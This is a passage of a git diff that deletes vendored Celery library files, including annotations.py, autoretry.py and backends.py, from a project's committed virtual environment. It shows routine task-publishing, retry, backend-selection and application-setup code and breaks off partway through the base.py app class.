sent_receivers = signals.task_sent.receivers - - default_evd = self._event_dispatcher - default_exchange = self.default_exchange - - default_rkey = self.app.conf.task_default_routing_key - default_serializer = self.app.conf.task_serializer - default_compressor = self.app.conf.task_compression - - def send_task_message(producer, name, message, - exchange=None, routing_key=None, queue=None, - event_dispatcher=None, - retry=None, retry_policy=None, - serializer=None, delivery_mode=None, - compression=None, declare=None, - headers=None, exchange_type=None, - timeout=None, confirm_timeout=None, **kwargs): - retry = default_retry if retry is None else retry - headers2, properties, body, sent_event = message - if headers: - headers2.update(headers) - if kwargs: - properties.update(kwargs) - - qname = queue - if queue is None and exchange is None: - queue = default_queue - if queue is not None: - if isinstance(queue, str): - qname, queue = queue, queues[queue] - else: - qname = queue.name - - if delivery_mode is None: - try: - delivery_mode = queue.exchange.delivery_mode - except AttributeError: - pass - delivery_mode = delivery_mode or default_delivery_mode - - if exchange_type is None: - try: - exchange_type = queue.exchange.type - except AttributeError: - exchange_type = 'direct' - - # convert to anon-exchange, when exchange not set and direct ex. - if (not exchange or not routing_key) and exchange_type == 'direct': - exchange, routing_key = '', qname - elif exchange is None: - # not topic exchange, and exchange not undefined - exchange = queue.exchange.name or default_exchange - routing_key = routing_key or queue.routing_key or default_rkey - if declare is None and queue and not isinstance(queue, Broadcast): - declare = [queue] - - # merge default and custom policy - retry = default_retry if retry is None else retry - _rp = (dict(default_policy, **retry_policy) if retry_policy - else default_policy) - - if before_receivers: - send_before_publish( - sender=name, body=body, - exchange=exchange, routing_key=routing_key, - declare=declare, headers=headers2, - properties=properties, retry_policy=retry_policy, - ) - ret = producer.publish( - body, - exchange=exchange, - routing_key=routing_key, - serializer=serializer or default_serializer, - compression=compression or default_compressor, - retry=retry, retry_policy=_rp, - delivery_mode=delivery_mode, declare=declare, - headers=headers2, - timeout=timeout, confirm_timeout=confirm_timeout, - **properties - ) - if after_receivers: - send_after_publish(sender=name, body=body, headers=headers2, - exchange=exchange, routing_key=routing_key) - if sent_receivers: # XXX deprecated - if isinstance(body, tuple): # protocol version 2 - send_task_sent( - sender=name, task_id=headers2['id'], task=name, - args=body[0], kwargs=body[1], - eta=headers2['eta'], taskset=headers2['group'], - ) - else: # protocol version 1 - send_task_sent( - sender=name, task_id=body['id'], task=name, - args=body['args'], kwargs=body['kwargs'], - eta=body['eta'], taskset=body['taskset'], - ) - if sent_event: - evd = event_dispatcher or default_evd - exname = exchange - if isinstance(exname, Exchange): - exname = exname.name - sent_event.update({ - 'queue': qname, - 'exchange': exname, - 'routing_key': routing_key, - }) - evd.publish('task-sent', sent_event, - producer, retry=retry, retry_policy=retry_policy) - return ret - return send_task_message - - @cached_property - def default_queue(self): - return self.queues[self.app.conf.task_default_queue] - - @cached_property - def queues(self): - """Queue name⇒ declaration mapping.""" - return self.Queues(self.app.conf.task_queues) - - @queues.setter - def queues(self, queues): - return self.Queues(queues) - - @property - def routes(self): - if self._rtable is None: - self.flush_routes() - return self._rtable - - @cached_property - def router(self): - return self.Router() - - @router.setter - def router(self, value): - return value - - @property - def producer_pool(self): - if self._producer_pool is None: - self._producer_pool = pools.producers[ - self.app.connection_for_write()] - self._producer_pool.limit = self.app.pool.limit - return self._producer_pool - publisher_pool = producer_pool # compat alias - - @cached_property - def default_exchange(self): - return Exchange(self.app.conf.task_default_exchange, - self.app.conf.task_default_exchange_type) - - @cached_property - def utc(self): - return self.app.conf.enable_utc - - @cached_property - def _event_dispatcher(self): - # We call Dispatcher.publish with a custom producer - # so don't need the dispatcher to be enabled. - return self.app.events.Dispatcher(enabled=False) - - def _handle_conf_update(self, *args, **kwargs): - if ('task_routes' in kwargs or 'task_routes' in args): - self.flush_routes() - self.router = self.Router() - return diff --git a/venv/Lib/site-packages/celery/app/annotations.py b/venv/Lib/site-packages/celery/app/annotations.py deleted file mode 100644 index 1c0631f72bbcb976a702ee764d95c5eb87d57336..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/annotations.py +++ /dev/null @@ -1,52 +0,0 @@ -"""Task Annotations. - -Annotations is a nice term for monkey-patching task classes -in the configuration. - -This prepares and performs the annotations in the -:setting:`task_annotations` setting. -""" -from celery.utils.functional import firstmethod, mlazy -from celery.utils.imports import instantiate - -_first_match = firstmethod('annotate') -_first_match_any = firstmethod('annotate_any') - -__all__ = ('MapAnnotation', 'prepare', 'resolve_all') - - -class MapAnnotation(dict): - """Annotation map: task_name => attributes.""" - - def annotate_any(self): - try: - return dict(self['*']) - except KeyError: - pass - - def annotate(self, task): - try: - return dict(self[task.name]) - except KeyError: - pass - - -def prepare(annotations): - """Expand the :setting:`task_annotations` setting.""" - def expand_annotation(annotation): - if isinstance(annotation, dict): - return MapAnnotation(annotation) - elif isinstance(annotation, str): - return mlazy(instantiate, annotation) - return annotation - - if annotations is None: - return () - elif not isinstance(annotations, (list, tuple)): - annotations = (annotations,) - return [expand_annotation(anno) for anno in annotations] - - -def resolve_all(anno, task): - """Resolve all pending annotations.""" - return (x for x in (_first_match(anno, task), _first_match_any(anno)) if x) diff --git a/venv/Lib/site-packages/celery/app/autoretry.py b/venv/Lib/site-packages/celery/app/autoretry.py deleted file mode 100644 index 80bd81f53bf902b9e1ac589db838aea9656c975e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/autoretry.py +++ /dev/null @@ -1,66 +0,0 @@ -"""Tasks auto-retry functionality.""" -from vine.utils import wraps - -from celery.exceptions import Ignore, Retry -from celery.utils.time import get_exponential_backoff_interval - - -def add_autoretry_behaviour(task, **options): - """Wrap task's `run` method with auto-retry functionality.""" - autoretry_for = tuple( - options.get('autoretry_for', - getattr(task, 'autoretry_for', ())) - ) - dont_autoretry_for = tuple( - options.get('dont_autoretry_for', - getattr(task, 'dont_autoretry_for', ())) - ) - retry_kwargs = options.get( - 'retry_kwargs', getattr(task, 'retry_kwargs', {}) - ) - retry_backoff = float( - options.get('retry_backoff', - getattr(task, 'retry_backoff', False)) - ) - retry_backoff_max = int( - options.get('retry_backoff_max', - getattr(task, 'retry_backoff_max', 600)) - ) - retry_jitter = options.get( - 'retry_jitter', getattr(task, 'retry_jitter', True) - ) - - if autoretry_for and not hasattr(task, '_orig_run'): - - @wraps(task.run) - def run(*args, **kwargs): - try: - return task._orig_run(*args, **kwargs) - except Ignore: - # If Ignore signal occurs task shouldn't be retried, - # even if it suits autoretry_for list - raise - except Retry: - raise - except dont_autoretry_for: - raise - except autoretry_for as exc: - if retry_backoff: - retry_kwargs['countdown'] = \ - get_exponential_backoff_interval( - factor=int(max(1.0, retry_backoff)), - retries=task.request.retries, - maximum=retry_backoff_max, - full_jitter=retry_jitter) - # Override max_retries - if hasattr(task, 'override_max_retries'): - retry_kwargs['max_retries'] = getattr(task, - 'override_max_retries', - task.max_retries) - ret = task.retry(exc=exc, **retry_kwargs) - # Stop propagation - if hasattr(task, 'override_max_retries'): - delattr(task, 'override_max_retries') - raise ret - - task._orig_run, task.run = task.run, run diff --git a/venv/Lib/site-packages/celery/app/backends.py b/venv/Lib/site-packages/celery/app/backends.py deleted file mode 100644 index a274b8554b4d5c1083117fb1f29a394bfdad9fc8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/backends.py +++ /dev/null @@ -1,69 +0,0 @@ -"""Backend selection.""" -import sys -import types - -from celery._state import current_app -from celery.exceptions import ImproperlyConfigured, reraise -from celery.utils.imports import load_extension_class_names, symbol_by_name - -__all__ = ('by_name', 'by_url') - -UNKNOWN_BACKEND = """ -Unknown result backend: {0!r}. Did you spell that correctly? ({1!r}) -""" - -BACKEND_ALIASES = { - 'rpc': 'celery.backends.rpc.RPCBackend', - 'cache': 'celery.backends.cache:CacheBackend', - 'redis': 'celery.backends.redis:RedisBackend', - 'rediss': 'celery.backends.redis:RedisBackend', - 'sentinel': 'celery.backends.redis:SentinelBackend', - 'mongodb': 'celery.backends.mongodb:MongoBackend', - 'db': 'celery.backends.database:DatabaseBackend', - 'database': 'celery.backends.database:DatabaseBackend', - 'elasticsearch': 'celery.backends.elasticsearch:ElasticsearchBackend', - 'cassandra': 'celery.backends.cassandra:CassandraBackend', - 'couchbase': 'celery.backends.couchbase:CouchbaseBackend', - 'couchdb': 'celery.backends.couchdb:CouchBackend', - 'cosmosdbsql': 'celery.backends.cosmosdbsql:CosmosDBSQLBackend', - 'riak': 'celery.backends.riak:RiakBackend', - 'file': 'celery.backends.filesystem:FilesystemBackend', - 'disabled': 'celery.backends.base:DisabledBackend', - 'consul': 'celery.backends.consul:ConsulBackend', - 'dynamodb': 'celery.backends.dynamodb:DynamoDBBackend', - 'azureblockblob': 'celery.backends.azureblockblob:AzureBlockBlobBackend', - 'arangodb': 'celery.backends.arangodb:ArangoDbBackend', - 's3': 'celery.backends.s3:S3Backend', - 'gs': 'celery.backends.gcs:GCSBackend', -} - - -def by_name(backend=None, loader=None, - extension_namespace='celery.result_backends'): - """Get backend class by name/alias.""" - backend = backend or 'disabled' - loader = loader or current_app.loader - aliases = dict(BACKEND_ALIASES, **loader.override_backends) - aliases.update(load_extension_class_names(extension_namespace)) - try: - cls = symbol_by_name(backend, aliases) - except ValueError as exc: - reraise(ImproperlyConfigured, ImproperlyConfigured( - UNKNOWN_BACKEND.strip().format(backend, exc)), sys.exc_info()[2]) - if isinstance(cls, types.ModuleType): - raise ImproperlyConfigured(UNKNOWN_BACKEND.strip().format( - backend, 'is a Python module, not a backend class.')) - return cls - - -def by_url(backend=None, loader=None): - """Get backend class by URL.""" - url = None - if backend and '://' in backend: - url = backend - scheme, _, _ = url.partition('://') - if '+' in scheme: - backend, url = url.split('+', 1) - else: - backend = scheme - return by_name(backend, loader), url diff --git a/venv/Lib/site-packages/celery/app/base.py b/venv/Lib/site-packages/celery/app/base.py deleted file mode 100644 index fe18784809d6d77aea9ed09601f1c306e203a918..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/base.py +++ /dev/null @@ -1,1547 +0,0 @@ -"""Actual App instance implementation.""" -import functools -import importlib -import inspect -import os -import sys -import threading -import typing -import warnings -from collections import UserDict, defaultdict, deque -from datetime import datetime -from datetime import timezone as datetime_timezone -from operator import attrgetter - -from click.exceptions import Exit -from dateutil.parser import isoparse -from kombu import Exchange, pools -from kombu.clocks import LamportClock -from kombu.common import oid_from -from kombu.transport.native_delayed_delivery import calculate_routing_key -from kombu.utils.compat import register_after_fork -from kombu.utils.objects import cached_property -from kombu.utils.uuid import uuid -from vine import starpromise - -from celery import platforms, signals -from celery._state import (_announce_app_finalized, _deregister_app, _register_app, _set_current_app, _task_stack, - connect_on_app_finalize, get_current_app, get_current_worker_task, set_default_app) -from celery.exceptions import AlwaysEagerIgnored, ImproperlyConfigured -from celery.loaders import get_loader_cls -from celery.local import PromiseProxy, maybe_evaluate -from celery.utils import abstract -from celery.utils.collections import AttributeDictMixin -from celery.utils.dispatch import Signal -from celery.utils.functional import first, head_from_fun, maybe_list -from celery.utils.imports import gen_task_name, instantiate, symbol_by_name -from celery.utils.log import get_logger -from celery.utils.objects import FallbackContext, mro_lookup -from celery.utils.time import maybe_make_aware, timezone, to_utc - -from ..utils.annotations import annotation_is_class, annotation_issubclass, get_optional_arg -from ..utils.quorum_queues import detect_quorum_queues -# Load all builtin tasks -from . import backends, builtins # noqa -from .annotations import prepare as prepare_annotations -from .autoretry import add_autoretry_behaviour -from .defaults import DEFAULT_SECURITY_DIGEST, find_deprecated_settings -from .registry import TaskRegistry -from .utils import (AppPickler, Settings, _new_key_to_old, _old_key_to_new, _unpickle_app, _unpickle_app_v2, appstr, - bugreport, detect_settings) - -if typing.TYPE_CHECKING: # pragma: no cover # codecov does not capture this - # flake8 marks the BaseModel import as unused, because the actual typehint is quoted. - from pydantic import BaseModel # noqa: F401 - -__all__ = ('Celery',) - -logger = get_logger(__name__) - -if sys.version_info >= (3, 14): - import annotationlib - - def _get_annotations(fun): - # In Python 3.14+, annotations are deferred by default (PEP 649). - # Accessing fun.__annotations__ (or inspect.get_annotations without a - # format) evaluates them and may raise NameError for types only - # available under TYPE_CHECKING. To preserve previous behavior, first - # try to return evaluated annotations; if that fails with NameError, - # fall back to returning stringified annotations instead. - try: - return inspect.get_annotations(fun) - except NameError: - return inspect.get_annotations(fun, format=annotationlib.Format.STRING) -else: - def _get_annotations(fun): - return fun.__annotations__ - -BUILTIN_FIXUPS = { - 'celery.fixups.django:fixup', -} -USING_EXECV = os.environ.get('FORKED_BY_MULTIPROCESSING') - -ERR_ENVVAR_NOT_SET = """ -The environment variable {0!r} is not set, -and as such the configuration could not be loaded. - -Please set this variable and make sure it points to -a valid configuration module. - -Example: - {0}="proj.celeryconfig" -""" - - -def app_has_custom(app, attr): - """Return true if app has customized method `attr`. - - Note: - This is used for optimizations in cases where we know - how the default behavior works, but need to account - for someone using inheritance to override a method/property. - """ - return mro_lookup(app.__class__, attr, stop={Celery, object}, - monkey_patched=[__name__]) - - -def _unpickle_appattr(reverse_name, args): - """Unpickle app.""" - # Given an attribute name and a list of args, gets - # the attribute from the current app and calls it. - return get_current_app()._rgetattr(reverse_name)(*args) - - -def _after_fork_cleanup_app(app): - # This is used with multiprocessing.register_after_fork, - # so need to be at module level. - try: - app._after_fork() - except Exception as exc: # pylint: disable=broad-except - logger.info('after forker raised exception: %r', exc, exc_info=1) - - -def pydantic_wrapper( - app: "Celery", - task_fun: typing.Callable[..., typing.Any], - task_name: str, - strict: bool = True, - context: typing.Optional[typing.Dict[str, typing.Any]] = None, - dump_kwargs: typing.Optional[typing.Dict[str, typing.Any]] = None -): - """Wrapper to validate arguments and serialize return values using Pydantic.""" - try: - pydantic = importlib.import_module('pydantic') - except ModuleNotFoundError as ex: - raise ImproperlyConfigured('You need to install pydantic to use pydantic model serialization.') from ex - - BaseModel: typing.Type['BaseModel'] = pydantic.BaseModel # noqa: F811 # only defined when type checking - - if context is None: - context = {} - if dump_kwargs is None: - dump_kwargs = {} - dump_kwargs.setdefault('mode', 'json') - - # If a file uses `from __future__ import annotations`, all annotations will - # be strings. `typing.get_type_hints()` can turn these back into real - # types, but can also sometimes fail due to circular imports. Try that - # first, and fall back to annotations from `inspect.signature()`. - task_signature = inspect.signature(task_fun) - - try: - type_hints = typing.get_type_hints(task_fun) - except (NameError, AttributeError, TypeError): - # Fall back to raw annotations from inspect if get_type_hints fails - type_hints = None - - @functools.wraps(task_fun) - def wrapper(*task_args, **task_kwargs): - # Validate task parameters if type hinted as BaseModel - bound_args = task_signature.bind(*task_args, **task_kwargs) - for arg_name, arg_value in bound_args.arguments.items(): - if type_hints and arg_name in type_hints: - arg_annotation = type_hints[arg_name] - else: - arg_annotation = task_signature.parameters[arg_name].annotation - - optional_arg = get_optional_arg(arg_annotation) - if optional_arg is not None and arg_value is not None: - arg_annotation = optional_arg - - if annotation_issubclass(arg_annotation, BaseModel): - bound_args.arguments[arg_name] = arg_annotation.model_validate( - arg_value, - strict=strict, - context={**context, 'celery_app': app, 'celery_task_name': task_name}, - ) - - # Call the task with (potentially) converted arguments - returned_value = task_fun(*bound_args.args, **bound_args.kwargs) - - # Dump Pydantic model if the returned value is an instance of pydantic.BaseModel *and* its - # class matches the typehint - if type_hints and 'return' in type_hints: - return_annotation = type_hints['return'] - else: - return_annotation = task_signature.return_annotation - - optional_return_annotation = get_optional_arg(return_annotation) - if optional_return_annotation is not None: - return_annotation = optional_return_annotation - - if ( - annotation_is_class(return_annotation) - and isinstance(returned_value, BaseModel) - and isinstance(returned_value, return_annotation) - ): - return returned_value.model_dump(**dump_kwargs) - - return returned_value - - return wrapper - - -class PendingConfiguration(UserDict, AttributeDictMixin): - # `app.conf` will be of this type before being explicitly configured, - # meaning the app can keep any configuration set directly - # on `app.conf` before the `app.config_from_object` call. - # - # accessing any key will finalize the configuration, - # replacing `app.conf` with a concrete settings object. - - callback = None - _data = None - - def __init__(self, conf, callback): - object.__setattr__(self, '_data', conf) - object.__setattr__(self, 'callback', callback) - - def __setitem__(self, key, value): - self._data[key] = value - - def clear(self): - self._data.clear() - - def update(self, *args, **kwargs): - self._data.update(*args, **kwargs) - - def setdefault(self, *args, **kwargs): - return self._data.setdefault(*args, **kwargs) - - def __contains__(self, key): - # XXX will not show finalized configuration - # setdefault will cause `key in d` to happen, - # so for setdefault to be lazy, so does contains. - return key in self._data - - def __len__(self): - return len(self.data) - - def __repr__(self): - return repr(self.data) - - @cached_property - def data(self): - return self.callback() - - -class Celery: - """Celery application. - - Arguments: - main (str): Name of the main module if running as `__main__`. - This is used as the prefix for auto-generated task names. - - Keyword Arguments: - broker (str): URL of the default broker used. - backend (Union[str, Type[celery.backends.base.Backend]]): - The result store backend class, or the name of the backend - class to use. - - Default is the value of the :setting:`result_backend` setting. - autofinalize (bool): If set to False a :exc:`RuntimeError` - will be raised if the task registry or tasks are used before - the app is finalized. - set_as_current (bool): Make this the global current app. - include (List[str]): List of modules every worker should import. - - amqp (Union[str, Type[AMQP]]): AMQP object or class name. - events (Union[str, Type[celery.app.events.Events]]): Events object or - class name. - log (Union[str, Type[Logging]]): Log object or class name. - control (Union[str, Type[celery.app.control.Control]]): Control object - or class name. - tasks (Union[str, Type[TaskRegistry]]): A task registry, or the name of - a registry class. - fixups (List[str]): List of fix-up plug-ins (e.g., see - :mod:`celery.fixups.django`). - config_source (Union[str, class]): Take configuration from a class, - or object. Attributes may include any settings described in - the documentation. - task_cls (Union[str, Type[celery.app.task.Task]]): base task class to - use. See :ref:`this section ` for usage. - """ - - #: This is deprecated, use :meth:`reduce_keys` instead - Pickler = AppPickler - - SYSTEM = platforms.SYSTEM - IS_macOS, IS_WINDOWS = platforms.IS_macOS, platforms.IS_WINDOWS - - #: Name of the `__main__` module. Required for standalone scripts. - #: - #: If set this will be used instead of `__main__` when automatically - #: generating task names. - main = None - - #: Custom options for command-line programs. - #: See :ref:`extending-commandoptions` - user_options = None - - #: Custom bootsteps to extend and modify the worker. - #: See :ref:`extending-bootsteps`. - steps = None - - builtin_fixups = BUILTIN_FIXUPS - - amqp_cls = 'celery.app.amqp:AMQP' - backend_cls = None - events_cls = 'celery.app.events:Events' - loader_cls = None - log_cls = 'celery.app.log:Logging' - control_cls = 'celery.app.control:Control' - task_cls = 'celery.app.task:Task' - registry_cls = 'celery.app.registry:TaskRegistry' - - #: Thread local storage. - _local = None - _fixups = None - _pool = None - _conf = None - _after_fork_registered = False - - #: Signal sent when app is loading configuration. - on_configure = None - - #: Signal sent after app has prepared the configuration. - on_after_configure = None - - #: Signal sent after the app has been finalized (i.e., all pending - #: task decorators have been evaluated, built-in tasks loaded, and - #: every currently registered task has been bound to the app). This is - #: the earliest point at which the task registry is initialized/stable - #: and safe to inspect for tasks currently registered with this app. - on_after_finalize = None - - #: Signal sent by every new process after fork. - on_after_fork = None - - def __init__(self, main=None, loader=None, backend=None, - amqp=None, events=None, log=None, control=None, - set_as_current=True, tasks=None, broker=None, include=None, - changes=None, config_source=None, fixups=None, task_cls=None, - autofinalize=True, namespace=None, strict_typing=True, - **kwargs): - - self._local = threading.local() - self._backend_cache = None - - self.clock = LamportClock() - self.main = main - self.amqp_cls = amqp or self.amqp_cls - self.events_cls = events or self.events_cls - self.loader_cls = loader or self._get_default_loader() - self.log_cls = log or self.log_cls - self.control_cls = control or self.control_cls - self._custom_task_cls_used = ( - # Custom task class provided as argument - bool(task_cls) - # subclass of Celery with a task_cls attribute - or self.__class__ is not Celery and hasattr(self.__class__, 'task_cls') - ) - self.task_cls = task_cls or self.task_cls - self.set_as_current = set_as_current - self.registry_cls = symbol_by_name(self.registry_cls) - self.user_options = defaultdict(set) - self.steps = defaultdict(set) - self.autofinalize = autofinalize - self.namespace = namespace - self.strict_typing = strict_typing - - self.configured = False - self._config_source = config_source - self._pending_defaults = deque() - self._pending_periodic_tasks = deque() - - self.finalized = False - self._finalize_mutex = threading.RLock() - self._pending = deque() - self._tasks = tasks - if not isinstance(self._tasks, TaskRegistry): - self._tasks = self.registry_cls(self._tasks or {}) - - # If the class defines a custom __reduce_args__ we need to use - # the old way of pickling apps: pickling a list of - # args instead of the new way that pickles a dict of keywords. - self._using_v1_reduce = app_has_custom(self, '__reduce_args__') - - # these options are moved to the config to - # simplify pickling of the app object. - self._preconf = changes or {} - self._preconf_set_by_auto = set() - self.__autoset('broker_url', broker) - self.__autoset('result_backend', backend) - self.__autoset('include', include) - - for key, value in kwargs.items(): - self.__autoset(key, value) - - self._conf = Settings( - PendingConfiguration( - self._preconf, self._finalize_pending_conf), - prefix=self.namespace, - keys=(_old_key_to_new, _new_key_to_old), - ) - - # - Apply fix-ups. - self.fixups = set(self.builtin_fixups) if fixups is None else fixups - # ...store fixup instances in _fixups to keep weakrefs alive. - self._fixups = [symbol_by_name(fixup)(self) for fixup in self.fixups] - - if self.set_as_current: - self.set_current() - - # Signals - if self.on_configure is None: - # used to be a method pre 4.0 - self.on_configure = Signal(name='app.on_configure') - self.on_after_configure = Signal( - name='app.on_after_configure', - providing_args={'source'}, - ) - self.on_after_finalize = Signal(name='app.on_after_finalize') - self.on_after_fork = Signal(name='app.on_after_fork') - - # Boolean signalling, whether fast_trace_task are enabled. - # this attribute is set in celery.worker.trace and checked by celery.worker.request - self.use_fast_trace_task = False - - self.on_init() - _register_app(self) - - def _get_default_loader(self): - # the --loader command-line argument sets the environment variable. - return ( - os.environ.get('CELERY_LOADER') or - self.loader_cls or - 'celery.loaders.app:AppLoader' - ) - - def on_init(self): - """Optional callback called at init.""" - - def __autoset(self, key, value): - if value is not None: - self._preconf[key] = value - self._preconf_set_by_auto.add(key) - - def set_current(self): - """Make this the current app for this thread.""" - _set_current_app(self) - - def set_default(self): - """Make this the default app for all threads.""" - set_default_app(self) - - def _ensure_after_fork(self): - if not self._after_fork_registered: - self._after_fork_registered = True - if register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_app) - - def close(self): - """Clean up after the application. - - Only necessary for dynamically created apps, and you should - probably use the :keyword:`with` statement instead. - - Example: - >>> with Celery(set_as_current=False) as app: - ... with app.connection_for_write() as conn: - ... pass - """ - self._pool = None - _deregister_app(self) - - def start(self, argv=None): - """Run :program:`celery` using `argv`. - - Uses :data:`sys.argv` if `argv` is not specified. - """ - from celery.bin.celery import celery - - celery.params[0].default = self - - if argv is None: - argv = sys.argv - - try: - celery.main(args=argv, standalone_mode=False) - except Exit as e: - return e.exit_code - finally: - celery.params[0].default = None - - def worker_main(self, argv=None): - """Run :program:`celery worker` using `argv`. - - Uses :data:`sys.argv` if `argv` is not specified. - """ - if argv is None: - argv = sys.argv - - if 'worker' not in argv: - raise ValueError( - "The worker sub-command must be specified in argv.\n" - "Use app.start() to programmatically start other commands." - ) - - self.start(argv=argv) - - def task(self, *args, **opts): - """Decorator to create a task class out of any callable. - - See :ref:`Task options` for a list of the - arguments that can be passed to this decorator. - - Examples: - .. code-block:: python - - @app.task - def refresh_feed(url): - store_feed(feedparser.parse(url)) - - with setting extra options: - - .. code-block:: python - - @app.task(exchange='feeds') - def refresh_feed(url): - return store_feed(feedparser.parse(url)) - - Note: - App Binding: For custom apps the task decorator will return - a proxy object, so that the act of creating the task is not - performed until the task is used or the task registry is accessed. - - If you're depending on binding to be deferred, then you must - not access any attributes on the returned object until the - application is fully set up (finalized). - """ - if USING_EXECV and opts.get('lazy', True): - # When using execv the task in the original module will point to a - # different app, so doing things like 'add.request' will point to - # a different task instance. This makes sure it will always use - # the task instance from the current app. - # Really need a better solution for this :( - from . import shared_task - return shared_task(*args, lazy=False, **opts) - - def inner_create_task_cls(shared=True, filter=None, lazy=True, **opts): - _filt = filter - - def _create_task_cls(fun): - if shared: - def cons(app): - return app._task_from_fun(fun, **opts) - - cons.__name__ = fun.__name__ - connect_on_app_finalize(cons) - if not lazy or self.finalized: - ret = self._task_from_fun(fun, **opts) - else: - # return a proxy object that evaluates on first use - ret = PromiseProxy(self._task_from_fun, (fun,), opts, - __doc__=fun.__doc__) - self._pending.append(ret) - if _filt: - return _filt(ret) - return ret - - return _create_task_cls - - if len(args) == 1: - if callable(args[0]): - return inner_create_task_cls(**opts)(*args) - raise TypeError('argument 1 to @task() must be a callable') - if args: - raise TypeError( - '@task() takes exactly 1 argument ({} given)'.format( - sum([len(args), len(opts)]))) - return inner_create_task_cls(**opts) - - def type_checker(self, fun, bound=False): - return staticmethod(head_from_fun(fun, bound=bound)) - - def _task_from_fun( - self, - fun, - name=None, - base=None, - bind=False, - pydantic: bool = False, - pydantic_strict: bool = False, - pydantic_context: typing.Optional[typing.Dict[str, typing.Any]] = None, - pydantic_dump_kwargs: typing.Optional[typing.Dict[str, typing.Any]] = None, - **options, - ): - if not self.finalized and not self.autofinalize: - raise RuntimeError('Contract breach: app not finalized') - name = name or self.gen_task_name(fun.__name__, fun.__module__) - base = base or self.Task - - if name not in self._tasks: - if pydantic is True: - fun = pydantic_wrapper(self, fun, name, pydantic_strict, pydantic_context, pydantic_dump_kwargs) - - run = fun if bind else staticmethod(fun) - task = type(fun.__name__, (base,), dict({ - 'app': self, - 'name': name, - 'run': run, - '_decorated': True, - '__doc__': fun.__doc__, - '__module__': fun.__module__, - '__annotations__': _get_annotations(fun), - '__header__': self.type_checker(fun, bound=bind), - '__wrapped__': run}, **options))() - # for some reason __qualname__ cannot be set in type() - # so we have to set it here. - try: - task.__qualname__ = fun.__qualname__ - except AttributeError: - pass - self._tasks[task.name] = task - task.bind(self) # connects task to this app - add_autoretry_behaviour(task, **options) - else: - task = self._tasks[name] - return task - - def register_task(self, task, **options): - """Utility for registering a task-based class. - - Note: - This is here for compatibility with old Celery 1.0 - style task classes, you should not need to use this for - new projects. - """ - task = inspect.isclass(task) and task() or task - if not task.name: - task_cls = type(task) - task.name = self.gen_task_name( - task_cls.__name__, task_cls.__module__) - add_autoretry_behaviour(task, **options) - self.tasks[task.name] = task - task._app = self - task.bind(self) - return task - - def gen_task_name(self, name, module): - return gen_task_name(self, name, module) - - def finalize(self, auto=False): - """Finalize the app. - - This loads built-in tasks, evaluates pending task decorators, - reads configuration, etc. - """ - with self._finalize_mutex: - if not self.finalized: - if auto and not self.autofinalize: - raise RuntimeError('Contract breach: app not finalized') - self.finalized = True - _announce_app_finalized(self) - - pending = self._pending - while pending: - maybe_evaluate(pending.popleft()) - - for task in self._tasks.values(): - task.bind(self) - - self.on_after_finalize.send(sender=self) - - def add_defaults(self, fun): - """Add default configuration from dict ``d``. - - If the argument is a callable function then it will be regarded - as a promise, and it won't be loaded until the configuration is - actually needed. - - This method can be compared to: - - .. code-block:: pycon - - >>> celery.conf.update(d) - - with a difference that 1) no copy will be made and 2) the dict will - not be transferred when the worker spawns child processes, so - it's important that the same configuration happens at import time - when pickle restores the object on the other side. - """ - if not callable(fun): - d, fun = fun, lambda: d - if self.configured: - return self._conf.add_defaults(fun()) - self._pending_defaults.append(fun) - - def config_from_object(self, obj, - silent=False, force=False, namespace=None): - """Read configuration from object. - - Object is either an actual object or the name of a module to import. - - Example: - >>> celery.config_from_object('myapp.celeryconfig') - - >>> from myapp import celeryconfig - >>> celery.config_from_object(celeryconfig) - - Arguments: - silent (bool): If true then import errors will be ignored. - force (bool): Force reading configuration immediately. - By default the configuration will be read only when required. - """ - self._config_source = obj - self.namespace = namespace or self.namespace - if force or self.configured: - self._conf = None - if self.loader.config_from_object(obj, silent=silent): - return self.conf - - def config_from_envvar(self, variable_name, silent=False, force=False): - """Read configuration from environment variable. - - The value of the environment variable must be the name - of a module to import. - - Example: - >>> os.environ['CELERY_CONFIG_MODULE'] = 'myapp.celeryconfig' - >>> celery.config_from_envvar('CELERY_CONFIG_MODULE') - """ - module_name = os.environ.get(variable_name) - if not module_name: - if silent: - return False - raise ImproperlyConfigured( - ERR_ENVVAR_NOT_SET.strip().format(variable_name)) - return self.config_from_object(module_name, silent=silent, force=force) - - def config_from_cmdline(self, argv, namespace='celery'): - self._conf.update( - self.loader.cmdline_config_parser(argv, namespace) - ) - - def setup_security(self, allowed_serializers=None, key=None, key_password=None, cert=None, - store=None, digest=DEFAULT_SECURITY_DIGEST, - serializer='json'): - """Setup the message-signing serializer. - - This will affect all application instances (a global operation). - - Disables untrusted serializers and if configured to use the ``auth`` - serializer will register the ``auth`` serializer with the provided - settings into the Kombu serializer registry. - - Arguments: - allowed_serializers (Set[str]): List of serializer names, or - content_types that should be exempt from being disabled. - key (str): Name of private key file to use. - Defaults to the :setting:`security_key` setting. - key_password (bytes): Password to decrypt the private key. - Defaults to the :setting:`security_key_password` setting. - cert (str): Name of certificate file to use. - Defaults to the :setting:`security_certificate` setting. - store (str): Directory containing certificates. - Defaults to the :setting:`security_cert_store` setting. - digest (str): Digest algorithm used when signing messages. - Default is ``sha256``. - serializer (str): Serializer used to encode messages after - they've been signed. See :setting:`task_serializer` for - the serializers supported. Default is ``json``. - """ - from celery.security import setup_security - return setup_security(allowed_serializers, key, key_password, cert, - store, digest, serializer, app=self) - - def autodiscover_tasks(self, packages=None, - related_name='tasks', force=False): - """Auto-discover task modules. - - Searches a list of packages for a "tasks.py" module (or use - related_name argument). - - If the name is empty, this will be delegated to fix-ups (e.g., Django). - - For example if you have a directory layout like this: - - .. code-block:: text - - foo/__init__.py - tasks.py - models.py - - bar/__init__.py - tasks.py - models.py - - baz/__init__.py - models.py - - Then calling ``app.autodiscover_tasks(['foo', 'bar', 'baz'])`` will - result in the modules ``foo.tasks`` and ``bar.tasks`` being imported. - - Arguments: - packages (List[str]): List of packages to search. - This argument may also be a callable, in which case the - value returned is used (for lazy evaluation). - related_name (Optional[str]): The name of the module to find. Defaults - to "tasks": meaning "look for 'module.tasks' for every - module in ``packages``.". If ``None`` will only try to import - the package, i.e. "look for 'module'". - force (bool): By default this call is lazy so that the actual - auto-discovery won't happen until an application imports - the default modules. Forcing will cause the auto-discovery - to happen immediately. - """ - if force: - return 